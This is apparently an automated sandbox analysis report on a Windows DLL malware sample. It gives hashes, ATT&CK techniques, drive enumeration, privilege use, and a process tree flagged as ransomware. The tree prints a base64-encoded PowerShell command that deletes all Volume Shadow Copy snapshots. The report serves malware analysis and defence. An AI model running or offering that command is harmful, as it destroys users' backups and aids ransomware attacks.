ba11d5592a54787bae50a01afa3cef0f57b67ac4ba603525abb56d3260a5b6ce

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/05/2024, 04:58

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General

Target

2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll
Size

166KB
MD5

2865ed46578bf51a1656064c7375b94d
SHA1

fef692d2dcfc799b7399d88372fc5470c1ffc8b2
SHA256

ba11d5592a54787bae50a01afa3cef0f57b67ac4ba603525abb56d3260a5b6ce
SHA512

6b491507bcbe7259f59c3a1079e9bc02febe007e30a448bec1c1f4bd9e1ca4b646175c46eef83df3c4e084049b9228390674e6dcae737cc2bca7a3c70d6b3728
SSDEEP

3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfmVvdOyY26bL:Ww9vteqJggn7oUfodOTL

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2196	rundll32.exe
2308	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	rundll32.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeBackupPrivilege	2908	vssvc.exe
Token: SeRestorePrivilege	2908	vssvc.exe
Token: SeAuditPrivilege	2908	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2188 wrote to memory of 2196	2188	rundll32.exe	28
PID 2196 wrote to memory of 2308	2196	rundll32.exe	29
PID 2196 wrote to memory of 2308	2196	rundll32.exe	29
PID 2196 wrote to memory of 2308	2196	rundll32.exe	29
PID 2196 wrote to memory of 2308	2196	rundll32.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\2865ed46578bf51a1656064c7375b94d_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2308

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2332

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2308-4-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

Filesize
4KB

Download
memory/2308-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2308-5-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2308-7-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-10-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-11-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-12-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download